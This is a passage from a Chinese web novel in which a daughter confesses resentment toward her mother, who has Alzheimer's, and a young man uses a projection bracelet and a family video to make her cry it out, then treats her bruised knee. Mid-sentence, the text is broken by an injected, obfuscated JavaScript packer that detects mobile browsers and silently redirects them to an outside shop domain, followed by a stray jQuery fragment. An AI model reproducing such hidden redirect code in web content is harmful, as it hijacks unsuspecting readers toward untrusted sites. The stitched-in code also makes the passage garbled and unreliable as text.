褪色。
许阳秋知道叶一大概率听不懂她这种抽象的表达，于是补了一句：“我也说不清楚。大概就是......她这人明明就好好地坐在我面前，但钱桂这个人却在慢慢消失。不论做多少心理建设，这都是很难接受的一件事。”
叶一是个安分的听众，他一言不发地侧头倾听。
“她刚生病的时候我就查过资料，知道会有这么一天，所以我一直在想办法治疗洁癖。我其实很清楚，真到了今天这种地步，她根本不会在意我嫌不嫌弃她，但我就是......恨自己没用。”她脸上没什么泪意，声音却止不住地抖。
叶一语气坚定地陈述：“你有没有洁癖，都改变不了今天发生的事。”
许阳秋轻声说：“至少我能在她身边陪着她。”
“是我带你逃跑，你不要自责。”叶一安慰人的词汇匮乏，语气平淡，“而且她一直在休息，护理阿姨也在，不需要你陪着。”
“不是这个意思。”许阳秋扯出一个勉强的笑容，“我只是想做个更好的女儿。”
叶一不解：“比如呢？”
她沉默良久，才缓缓开口，手冷得发抖：“比如，不要恨她。”
他没开口，把沙发上的毯子扯过来盖在她身上，又把温水塞进她手里。
许阳秋借着这一点暖意才有勇气继续说：“她在我爸去世后不久，就把公司卖给了徐翔。她没理会我的反对，毕竟那会儿我也只是个初中生。我常常想，要是她没卖掉我爸的心血，桂魄也不会变成今天这副样子。
这些年来，我问过她很多次，到底为什么要卖掉'桂魄'，吵也吵过，闹也闹过，但她不肯给我答案。我爸去世之后，她整个人都消沉得可怕，话也很少。因为这个，我其实有点恨她。”
叶一不自然地移开视线，没看她的眼睛。
许阳秋没注意到，继续说：“说恨也许不准确，应该是有点儿怪她。她生病之后，我心里的那点疙瘩不仅没有消失，反而......彻底恨上了她。要不是我爸的遗产救我，让我不用亲力亲为，那我大概真的会疯掉。不知道从哪一刻开始，她不再是我的至亲，而是变成一面镜子，照着我的劣根，时时刻刻地提醒我，我是个软弱无能、自私且胆怯的人。
有时候看着她，想的甚至不是她这样该有多难受啊，而是，她能不能把我的亲人还给我，我不想守着一具没有灵魂的躯壳。”
“你不是像你说得那样。”叶一不像是在宽慰，反而像是在和她争论。
过了一会儿，叶一想起来什么似的问她：“你要上去看看她吗？我陪你。”
“不用。”许阳秋攥紧毯子，把额头靠在叶一的手臂上，“情绪不稳定的人不适合见病患，我不想搞砸。”
她刚才坦白的那些话就像是陈年的淤血，不痛不痒地堵在她胸口，只要没人提及，她就能忍着这点憋闷的感觉若无其事地过下去。
哪怕有人提及，她也能轻描淡写地挑不重要的那些讲讲。
叶一不太一样，他的问题和反应不带任何世俗的偏见，因此她毫无保留地全部跟他坦白，连带着那点不足为外人道的恶劣人性。
叶一这个人很闷，她总觉得任何秘密在他那里都是安全的，所以什么都能跟他说。
当然叶一也不是什么心理医生，她没指望这口瘀血在说话间就能痊愈，阿兹海默疾病本身和它带来的诸多变故，都是漫长又无解的命题。
空气静默良久。
叶一忽然伸手虚虚攥住她的手腕，把一个绿色的手环戴在她手上。
“这不是给'保险箱'女士的手环吗？给我戴上干什么？”许阳秋缓过来一些，半开玩笑道，“这东西还有基因诊断功能？能算出我生病......”
“许阳秋。”叶一皱眉，语气有点凶，不让她继续说，“你别笑了。”
她配合地噤声。
叶一像个兢兢业业的产品经理：“安抚能力目前能识别分贝指标、动作幅度指标和心率指标，只要这三个指标任意一个高于安全阈值，就会出发图像安抚。这里是一个简易投影，清晰度不高，有重力平衡器，因此可以保证不论阿姨是什么姿势，投影都能保持水平。
基于阿姨的情况，我增高了投影饱和度和对比度，正常人看会觉着晃眼睛，但这样能更好地吸引她的注意力，起到安抚的效果......”
她无奈地打断他长篇大论的产品说明：“......你到底想说什么？总不会是想把专利卖给我吧。”
叶一没被她打断思路，还在继续说：“我用AI模拟阿姨的反应，实验了上千种图像，包含广告、古早动画、电视剧还有宠物视频等等......AI替我选出了其中安抚效果最好的图像。”
他点开手机上给钱女士定制的Never Leaves APP，手动触发安抚能力。许阳秋手腕上的绿色手环忽然亮起，在她面前的地上投出一段影像，叶一攥着她的手腕调整方向，投影就打在了面前的白墙上。
由于饱和度过高，且画面混乱不停抖动，她很难分辨那是什么视频，只觉得轮廓有些熟悉。
安抚影像的声音做了渐入处理，画面播放四五秒之后，一个稚嫩的童声撞进她耳朵。
安抚画面一共只有十几秒，背景音混乱，几乎听不清每个人在说什么，只听得到三种不同音色的笑声：男人、女人和小孩。
那是许魄用DV录的生活片段，那时她刚会走路，听'保险箱'女士说，她总是边走边'咯咯咯'笑个不停。
许阳秋脑子还懵着，眼眶却擅自一热。
对钱桂来说，这段录像也许能抚平她偶尔的暴躁，但对许阳秋来说，这段录像引得她烦躁。
画面循环播放，一遍又一遍，那点'淤血'也随着画面的不断归零，一痛又一痛。
她只好大口呼吸，试图冲淡这种疼痛。她伸手去拿叶一手里的手机，想要关掉无限循环的记忆。
墙上的投影随着她的动作乱飞，再也看不清，但背景音里的笑声没停，毫无变化地重复播放。
她扑了个空，叶一把手机举过头顶，垂头注视她。看样子他打定主意让她痛个彻底，不让她关掉。
许阳秋被胸口的闷痛逼得生气，她半靠在他身上，右手狠狠按在他胸口，伸长左手去夺他的手机。叶一手脚修长，她伸长胳膊也够不到，她瞪他：“叶、一！”
“嗯。”他嘴上答应，却把手机举得更高。
她原本坐在地上，情急之下把蜷着的膝盖往地上一跪，直着上半身去抓他的手机。
地毯很柔软，但她没收住力气，她的体重猛地压向她膝盖，酸痛的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672837|140050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
感觉让她浑身一软，直不起腰——她左膝盖刚才重重地磕在大理石地砖上，大概率磕青了。
许阳秋半弯着腰，手揪住叶一的领口，膝盖这么一痛，她的内心随着身体一并瘫软，咬牙忍耐的劲头忽然就没了。
绷不住了，她想。
她咬着牙断断续续地说：“你......想说明什么呢？她没忘记我吗？......她早晚会忘，这......这重要吗？”
“我只是想让你别笑了。”
她死死揪着他T恤的领口，揪得整件衣服都皱起来，她眼泪没预兆地砸下来，几乎连成线。
她视线模糊不清，但她连模糊的叶一也不愿意看到，于是干脆把头靠在他胸口，紧闭双眼，泪水像开了闸，从眼角钻出来。
她恶狠狠地咬着他衣服上的褶皱。
意识涣散不清，她整个人都在颤抖，隐约感觉到自己被抱得紧了些，她攥着他衣领的手被温暖的手覆住，轻轻地拍着。
不知过了多久，她才停止颤抖。那个让她崩溃的视频早就停下，整个房间都安静下来，她只听得到自己剧烈的呼吸，和身边那人有力的心跳。
从钱桂确诊到现在三年多，许阳秋没有为这事流过一滴眼泪，欠着的泪水在今天一并补齐。那块陈年'瘀血'以这样粗暴的方式被他剜下，疼得近乎痛快。
许阳秋彻底笑不出来，她离开他跪坐在地上，疲惫地闭了闭眼睛：“你有时候真的很让人生气。”
“我知道。”湿答答的棉质布料贴在他胸口，被他拎起来，“之前是你告诉我，承认自己很痛苦并不丢人。”
她有些脱力地扶着沙发重新坐下，小幅度地活动发麻的手脚。
叶一被她松开之后，抬手从茶几下面拿出药箱，掏出一瓶红花油摆在箱子上，接着缓缓帮她把裤腿卷上去。
“不用。”
他恍若未闻，手上的动作不停。
“我说了，不用。”
叶一最擅长跟她对着轴，他这会儿已经把裤脚挽到了膝盖上，露出大片骇人的青紫。
见他无动于衷地伸手去拿那瓶红花油，许阳秋抬腿在他胸口踹了一脚，力气不大，他上半身纹丝未动，停手抬头与她对视。
叶一握着她的脚踝抵在胸口，接着松手，垂着头没有动作，仿佛在等她继续踢。
这下许阳秋踢也不是，不踢也不是，深深地觉得自己被个清澈的男大学生拿捏。
她又被气笑：“哪儿有你这么轴的人？”
见她没有动作，叶一重新去拿那瓶红花油。
打开瓶盖的瞬间，一股药香窜了出来。
许阳秋仿佛被这股药香带回到他们认识的第一天。
那天叶一肩膀青了好大一块，也是在沙发这里，她撩起他的袖子帮他涂红花油。
叶一的动作跟那时的她重合，甚至连说的话都跟她一模一样。
“忍一忍。”
他把红花油倒在手上搓热，由轻及重地揉她的淤青，边揉边轻轻吹气，凉凉的气息让发热的膝盖没那么痛，还可以忍受。
许阳秋他垂眉低头的样子，莫名地觉得陌生。
到底是从什么时候开始的？他不再是那个需要她拯救的无助少年，逐渐变成与她势均力敌的成人。
从什么时候开始的呢？